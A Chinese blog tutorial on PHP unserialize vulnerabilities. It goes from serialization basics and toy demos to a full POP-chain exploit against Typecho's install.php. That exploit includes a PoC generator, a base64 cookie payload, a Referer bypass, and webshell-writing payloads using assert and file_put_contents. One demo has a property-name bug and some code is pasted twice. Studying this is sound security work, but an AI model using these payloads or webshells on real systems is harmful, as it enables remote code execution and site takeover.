概述:打线下AWD模式遇到一个PHP反序列化漏洞,触及到了自己的知识盲区,补习一下。

关键字:序列化、POP链

0x01基础知识

序列化和反序列化

序列化:将类对象转化为可以传输的字符串 //注意:是类对象而不是类

反序列化:将字符串转化为类对象

PHP分别由serialize()和unserialize()两个函数来进行序列化与反序列化。

下面分别举例两者的实现。

序列化过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/*Created by Migraine*/
echo 'Welcome to the PHP unserialize Bug test <br/>';
echo ' --Edited by Migriane<br/>';
/*定义类Person*/
class Person
{
public $name='';
public $age=0;
public function Information()
{
echo '</br>Person:'.$this->name.' is '.$this->age.' years old.<br/>';
}
}
$per1=new Person();
$per1->name='Migriane';
$per1->age=20;
$per1->Information();//调用类
/*序列化类*/
echo serialize($per1); //打印出序列化的类
?>

结果如下图所示

apFa27

反序列化过程#借用上面实现的序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
/*Created by Migraine*/
echo 'Welcome to the PHP unserialize Bug test <br/>';
echo ' --Edited by Migriane<br/>';
/*反序列化依旧需要创建类Person*/
class Person
{
public $name='';
public $age=0;

public function Information()
{
echo '</br>Person:'.$this->name.' is '.$this->age.' years old.<br/>';
}
}
/*反序列化*/
$per1=unserialize('O:6:"Person":2:{s:4:"name";s:8:"Migriane";s:3:"age";i:20;}');
$per1->Information();//调用类对象
?>

结果如下图所示

42KgNF

魔法函数

7GjIZx

下面是实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php	
class Person
{
public $name='';
public $age=0;
public function Information()
{
echo '</br>Person:'.$this->name.' is '.$this->age.' years old.<br/>';
}
public function __construct()
{
echo 'Func-->Construct<br/>';
}
public function __toString()
{
return 'Func-->toString<br/>';
}
public function __destruct()
{
echo 'Func-->Destruct<br/>';
}

}
echo "<br>Magic Fun: <br/>";
$per1=new Person();
$per1->name='Migriane';
$per1->age=20;
echo $per1;

ovKKTI

0x02反序列化Demo

Demo1

文件一Test1.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
//创建Vulnerable类
class Vulnerable
{
public $file_name='error';
public function __toString()
{
//file_get_content函数把文件读取入字符串中
return file_get_contents($this->filename);
}
}
?>

文件二test2.php

1
2
3
4
5
6
<?php 
include "test1.php";
echo "Unserialize Test";
$per=unserialize($_GET['get_serialized']);
echo $per;
?>

​ include “test1.php”;

​ echo “Unserialize Test”;

​ $per=unserialize($_GET[‘get_serialized’]);

​ echo $per;

?>

文件一存在一个vulnerable类,其中的toString函数可以读取本地的文件(file_name)。

文件二则调用了文件一,并且使用反序列化函数接收一个get请求(也就是可控的参数),关键点在于,最后一行代码echo输出了类对象,也就会触发toString函数

所以思路是序列化一个vulnerable类,自定义需要读取的全局变量file_name.

以上构造通过GET输入到$per,在调用echo $per时触发toString魔法函数,成功实现任意文件读取。

下面是POC

1
2
3
4
5
6
7
8
9
10
<?php 
class Vulnerable
{
public $file_name='error';
}
$per=new Vulnerable();
$per->file_name='Secret.txt';

echo serialize($per);
?>
1
2
3
4
5
6
7
8
	class Vulnerable
{
public $file_name='error';
​ }
$per=new Vulnerable();
$per->file_name='Secret.txt';
echo serialize($per);
?>

vw4Cuk

得到payload为 O:10:”Vulnerable”:1:{s:9:”file_name”;s:10:”Secret.txt”;}

直接通过GET提交序列化过的payload

prX4LZ

成功读取Secret.txt文件

go1mit

Demo2

只有一个test3.php文件

但是内部设计的很巧妙,值得分析一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/*创建一个example类*/
class example{
public $handle; //创建一个handle句柄
function __destruct(){
$this->shutdown();//魔法函数destruct会自动调用shutdown
}
public function shutdown(){
$this->handle->close(); //调用某个句柄指向的close函数
}
}
/*创建一个process类*/
class process{
public $pid;
function close(){
eval($this->pid); //eval函数执行命令
}
}
/*接收GET参数*/
if(isset($_GET['data']))
{
$user_data=unserialize(urldecode($_GET['data']));
}
?>

思路:

非常容易知道,通过传递GET参数,可以进行反序列化漏洞利用。

通过定义pid可以操作process类的eval执行任意参数。可是eval函数并不存在于任何魔法函数中。

通过观察,发现example类存在魔法函数,可以调用某个句柄的close函数。

因此,只需要将该句柄换成process类即可完成一次任意代码执行漏洞。(关键字:POP)

下面是POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class example{
public $handle;
function __destruct(){
$this->shutdown();
}
public function shutdown(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data']))
{
$user_data=unserialize(urldecode($_GET['data']));
}
?>

生成payload

mKG0pB

通过get传输,成功执行phpinfo()

NiC625

0x03实例分析

既然大家都拿Typecho开刀,那我也就不客气了。

虽然这个漏洞爆出来有些时日了,但是网络上依旧有很多所谓的正式稳定版存在着漏洞。

9ohWGl

选择一个15.5.12以前的版本安装即可[https://github.com/typecho/typecho/releases]

安装完成的效果图如下所示,

FoVqew

加上/admin进入后台界面地址 #想起了之前某网站找了半天后台结果在admin目录

fOHdr1

漏洞点:

install.php

第230行存在一个反序列化输入点,通过Cookie输入。

第232行存在创建一个类对象的操作,可以触发Typecho_Db的魔法函数__construct

TACQRx

用notepad++搜索Typecho_Db类的位置

FR15HX

在\var\Typecho\Db.php中

分析Typecho_Db类的魔法函数__construct,发现没有可以利用的函数。

继续分析发现第120行存在字符串和类的拼接,因为PHP是弱类型,会自动触发__ToString将类转化为str函数。

我们继续寻找一个类,存在可利用的__ToString函数。

然后控制$adapterName->这个类,从而使__ToString被调用。#如果ToString中存在敏感函数,那是就可以完成一次漏洞利用。

这就是构造POP链。

ltMctV

找到\var\Typecho\Feed.php中的Typecho_Feed类,存在__ToString函数

但是事情也没有这么顺利,依旧没有找到危险函数。所以继续构造POP链。

分析发现290行item[]->screenName,如果将其控制为某一个新的类,类中没有定义screenName,则会触发__get()魔法函数。调用的__get(screenName)

并且根据定义发现items的来源(_items)是可控的。

ddC0GX

H66ioW

所以接下来又要寻找一个存在_get魔法函数的类

DIBrvn

在\var\Typecho\Request.php的typecho_Request类中找到了__get

发现经过一系列调用,最终程序调用了_applyFilter()函数

honoYh

Ezm0sO

进入这个函数,终于柳暗花明又一村,发现了array_map和call_user_func两个危险函数。

并且$filter和$value参数都是可控的。

b37zat

写出POC.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class Typecho_Request
{
private $_filter =array();
private $_params=array();
public function __construct()
{
$this->_filter[0]='phpinfo';
$this->_params['screenName']='1';
}
}
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_items = array();
private $_type;
public function __construct()
{
$items['author']=new Typecho_Request();
$items['category']=array(new Typecho_Request());//触发错误,解决数据库500
$this->_items[0]=$items;

$this->_type=$this::RSS2;
}
}

$exp=array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho_'
);

/*等效
$exp['adapter']=new Typecho_Feed();
$exp['prefix']='typecho';
*/

echo base64_encode(serialize($exp));

?>

生成POC=>

1
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOiIxIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOiIxIjt9fX19fXM6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

由于是get方法输入格式为__typecho_config=。。。

并且有防跨站机制,需要在head添加referer证明非跨站。

w94uEo

测试POC,由审计源码可知,finish参数不为1,referer设置为本站,将我们的POC放入cookie

SUJKEO

但是测试中出现一些问题,一开始怀疑可能是因为PHP版本太高,砍掉了mysql函数,改用mysqli。所以导致访问不了数据库。

1yrzEm

但是查询了资料发现,事情并没有这么简单。经过分析发现,POC执行会导致Typecho触发异常,并且内部设置了Typecho_Exception异常类,触发异常以后Typecho会自动能捕捉到异常,并执行异常输出。

并且经过分析发现程序开头开启了ob_start(),该函数会将内部输出全部放入到缓冲区中,执行注入代码以后触发异常,导致ob_end_clean()执行,该函数会清空缓冲区。

解决方案:让程序强制退出,不执行Exception,这样原来的缓冲区内容就会输出出来。

//添加$items[‘category’]=array(new Typecho_Request());即可

下图,成功执行POC

8cPkJ4

写入webshell

则使用以下参数但是没有成功

1
2
$this->_filter[0]='assert';
$this->_params['screenName']='fputs(fopen(\'./shell.php\',\'w\'),\'<?php@eval($_GET[\'cmd\']);?>)';

类似下面的参数也是如此

1
2
3
4
$this->_filter[0]='assert';
$this->_params['screenName']='phpinfo()';

Call_user_func('assert','phpinfo()')

查看警告信息,提示assert不能使用string类型的参数

FnM62V

经过测试,下面的语法是没有问题的。可能是有其他原因,暂不深究。

1
2
3
4
<?php 
//call_user_func('assert','phpinfo()');
assert(phpinfo());//等价
?>

写webshell的语法 #经过测试,发现webshell内容中的引号需要加转义符,否则写入时候会不完整。

call_user_func('assert','file_put_contents("webshell.php",\'<?php eval($_POST[1]);?>\')');

小结:

POP链,和二进制漏洞下的ROP有异曲同工之妙,都是利用源码中存在的组件gadget来拼凑出自己的执行路线,区别gadgets一个是汇编碎片,而另一个是实例化的类。所以说漏洞利用区别只是架构,思想都是一样的,学习漏洞不仅仅是学习方法,更是掌握这种思想。

个人感觉,这个漏洞的挖掘和我们刚才的分析方式是相反的。挖掘首先需要找到可以利用的函数,然后再一路推回去,构成POP链。而漏洞分析则是已知漏洞点,再分析如何利用的。

参考文献:

https://www.freebuf.com/articles/web/167721.html 反序列化原理

https://www.freebuf.com/column/161798.html 反序列化案例Typecho

https://www.anquanke.com/post/id/155306#h2-2 Typecho漏洞利用时数据库报错